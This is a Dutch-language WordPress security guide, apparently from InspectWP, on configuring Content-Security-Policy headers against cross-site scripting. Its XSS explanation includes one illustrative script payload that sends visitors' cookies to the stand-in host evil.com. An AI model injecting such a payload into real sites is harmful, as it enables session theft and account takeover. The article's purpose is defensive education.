Content-Security-Policy (CSP) is een HTTP-response-header die u nauwkeurige controle geeft over welke resources de browser op uw pagina mag laden. Dit omvat scripts, stylesheets, afbeeldingen, fonts, iframes en meer. CSP wordt algemeen beschouwd als een van de meest effectieve verdedigingen tegen Cross-Site Scripting (XSS)-aanvallen, die nog steeds tot de meest voorkomende kwetsbaarheden op het web behoren.
Als u een WordPress-site beheert, is CSP bijzonder relevant, omdat WordPress-sites doorgaans resources laden uit veel verschillende bronnen: uw eigen server, CDN's, analyseproviders, fontdiensten, advertentienetwerken en alles wat uw plugins en thema binnenhalen. Met CSP definieert u precies welke van die bronnen zijn toegestaan.
Hoe een Cross-Site Scripting (XSS)-aanval werkt
Om te begrijpen waarom CSP belangrijk is, helpt het te zien wat het voorkomt. Hier is een concreet voorbeeld van hoe een XSS-aanval zich op een WordPress-site kan afspelen:
Stel dat uw site een reactieformulier heeft, en de sanering van reacties bevat een fout (in WordPress core, een plugin of een aangepaste themafunctie). Een aanvaller dient een reactie in met dit fragment:
<script>document.location='https://evil.com/steal?c='+document.cookie</script>Als dit script zonder correcte escaping op de pagina wordt weergegeven, voert de browser van elke bezoeker die de reactie bekijkt deze code uit. De code stuurt hun sessiecookies naar de server van de aanvaller. Met die cookies kan de aanvaller inloggen als het slachtoffer, ook als beheerder wanneer een admin de reactie bekijkt.
Met een correct geconfigureerde CSP mislukt deze aanval. De browser controleert het script tegen het beleid en constateert dat inline scripts niet zijn toegestaan (tenzij expliciet op de witte lijst gezet). Het script wordt geblokkeerd en de browser registreert een overtreding in plaats van de code uit te voeren.
Syntax van de CSP-header en gangbare directieven
Een CSP-header bestaat uit directieven, waarbij elk aangeeft welke bronnen zijn toegestaan voor een bepaald type resource. Hier is een voorbeeld:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.comLaten we de belangrijkste directieven uiteenzetten:
default-src: het terugvalbeleid voor elk resource-type dat geen eigen directive heeft. Stelt udefault-src 'self'in, dan zijn standaard alleen resources van uw eigen domein toegestaan.script-src: bepaalt welke JavaScript-bronnen zijn toegestaan. Dit is de meest beveiligingskritische directive, omdat scripts volledige toegang hebben tot de DOM en cookies van de pagina.style-src: bepaalt welke CSS-bronnen zijn toegestaan. Op WordPress-sites is hier vaak'unsafe-inline'nodig, omdat veel plugins en thema's inline-stijlen injecteren.img-src: bepaalt welke beeldbronnen zijn toegestaan. De waardedata:staat inline base64-afbeeldingen toe, die sommige plugins gebruiken.font-src: bepaalt vanaf welke locaties fonts geladen mogen worden. Gebruikt u Google Fonts, dan moet uhttps://fonts.gstatic.comop de witte lijst zetten.connect-src: bepaalt welke URL's bereikbaar zijn via AJAX-, Fetch- of WebSocket-verbindingen. Belangrijk voor sites die REST API's of externe diensten gebruiken.frame-src: bepaalt welke origins in iframes op uw pagina mogen worden ingesloten. Relevant als u YouTube-video's, Google Maps of andere widgets van derden insluit.frame-ancestors: bepaalt welke sites uw pagina in een iframe mogen insluiten. Dit is het CSP-equivalent van X-Frame-Options (zie KB-3).base-uri: beperkt welke URL's gebruikt mogen worden in het<base>-element. Door dit op'self'te zetten, voorkomt u dat aanvallers de basis-URL van uw pagina wijzigen.form-action: beperkt waar formulieren op uw pagina gegevens naartoe mogen versturen. Dit kan phishing-aanvallen voorkomen waarbij een aanvaller de doel-URL van een formulier wijzigt.
Whitelisting van scripts via nonce of hash
Alle inline scripts blokkeren is de ideale aanpak, maar soms zijn inline scripts noodzakelijk. CSP biedt twee veilige alternatieven voor het gebruik van 'unsafe-inline':
Nonce-gebaseerde whitelisting werkt door bij elke pagina-laad een uniek willekeurig token te genereren. U voegt deze nonce toe aan zowel de CSP-header als aan de script-tags:
Content-Security-Policy: script-src 'nonce-abc123random'<script nonce="abc123random">
// Dit script wordt uitgevoerd omdat de nonce overeenkomt
</script>De nonce moet bij elke pagina-laad anders zijn. Een aanvaller die een script injecteert kan de actuele nonce niet kennen, waardoor zijn script wordt geblokkeerd. Deze aanpak werkt goed wanneer u de HTML-output beheert en nonces dynamisch kunt toevoegen.
Hash-gebaseerde whitelisting gebruikt een cryptografische hash van de scriptinhoud:
Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='De browser berekent de hash van elk inline script en vergelijkt die met de toegestane hashes. Dit is nuttig voor statische inline scripts die niet veranderen tussen pagina-laads.
Monitoring met CSP-rapportage-directieven
CSP bevat ingebouwde rapportagefunctionaliteit waarmee u overtredingen kunt monitoren zonder uw site stuk te maken:
De directive report-uri (ouder, nog breed ondersteund) verstuurt rapporten van overtredingen naar een opgegeven endpoint:
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpointDe nieuwere directive report-to werkt met de Reporting API en biedt meer flexibiliteit:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://uwsite.com/csp-reports"}]}Diverse externe diensten zoals Report URI, Sentry en Datadog kunnen CSP-rapporten voor u verzamelen en visualiseren, wat enorm helpt bij het uitrollen van een nieuw beleid.
Testen met Content-Security-Policy-Report-Only
Hier zou bijna iedereen moeten beginnen. De header Content-Security-Policy-Report-Only gedraagt zich precies als de reguliere CSP-header, maar in plaats van overtredingen te blokkeren, rapporteert hij ze alleen. Er wordt feitelijk niets geblokkeerd; de browser registreert alleen wat geblokkeerd zou zijn.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpointHiermee ziet u precies welke resources op uw site door een CSP-beleid getroffen zouden worden voordat u het afdwingt. U kunt CSP-overtredingsmeldingen in de developer console van de browser bekijken, of gestructureerde rapporten verzamelen via de rapportage-endpoints.
Waarom CSP lastig is op WordPress-sites
WordPress en CSP hebben een ingewikkelde relatie. De kernuitdaging is dat WordPress en zijn ecosysteem zijn ontworpen vóórdat CSP bestond, en veel gangbare patronen botsen met strikte CSP-beleidsregels:
- Inline scripts: WordPress core, WooCommerce en veel populaire plugins injecteren inline JavaScript. Een strikt
script-src-beleid zonder'unsafe-inline'breekt deze. - Inline stijlen: veel plugins en pagebuilders (Elementor, Divi, WPBakery) genereren inline CSS. De Customizer injecteert ook inline stijlen. Vaak dwingt dit u om
'unsafe-inline'te gebruiken voorstyle-src. - eval()-gebruik: sommige plugins gebruiken
eval()ofnew Function(), waarvoor'unsafe-eval'inscript-srcnodig is. Dit verzwakt de bescherming aanzienlijk. - Resources van derden: analytics-scripts (Google Analytics, Matomo), fonts (Google Fonts), CDN's, social-media-embeds en advertentiescripts moeten allemaal expliciet op de witte lijst.
- Plugin-updates: een plugin-update kan plotseling resources van een nieuw domein laden en zo zonder waarschuwing uw CSP doorbreken.
In de praktijk komen de meeste site-eigenaren uit op een beleid dat 'unsafe-inline' toestaat voor stijlen, maar scripts en andere resources zoveel mogelijk beperkt. Dat is een redelijk compromis dat nog steeds zinvolle bescherming biedt.
Praktische stappen voor het toevoegen van CSP aan WordPress
Hier is een stapsgewijze aanpak die in de praktijk werkt:
- Begin met
Content-Security-Policy-Report-Onlyingesteld opdefault-src 'self'en een rapport-endpoint. - Doorblader uw site grondig en bekijk de overtredingsrapporten. Noteer elke geblokkeerde resource.
- Voeg de benodigde brondomeinen één voor één toe aan uw beleids-directieven.
- Test alle kritieke functionaliteit: inloggen, afrekenen (bij WooCommerce), formulieren en het beheerpaneel.
- Zodra het report-only-beleid bij normaal gebruik geen overtredingen meer toont, schakelt u over op de afdwingende header
Content-Security-Policy. - Houd het rapportage-endpoint actief, ook na afdwinging, zodat u nieuwe overtredingen door plugin-updates of contentwijzigingen opmerkt.
Wat InspectWP controleert
InspectWP controleert of uw site een Content-Security-Policy-header verstuurt. Ontbreekt deze, dan signaleert het rapport dat uw site geen CSP-bescherming heeft tegen XSS en andere injectie-aanvallen. Is een beleid aanwezig, dan toont InspectWP de volledige beleidsstring zodat u die kunt beoordelen. Houd er rekening mee dat een CSP-header met te ruime directieven (zoals default-src * of script-src 'unsafe-inline' 'unsafe-eval') in de praktijk weinig bescherming biedt.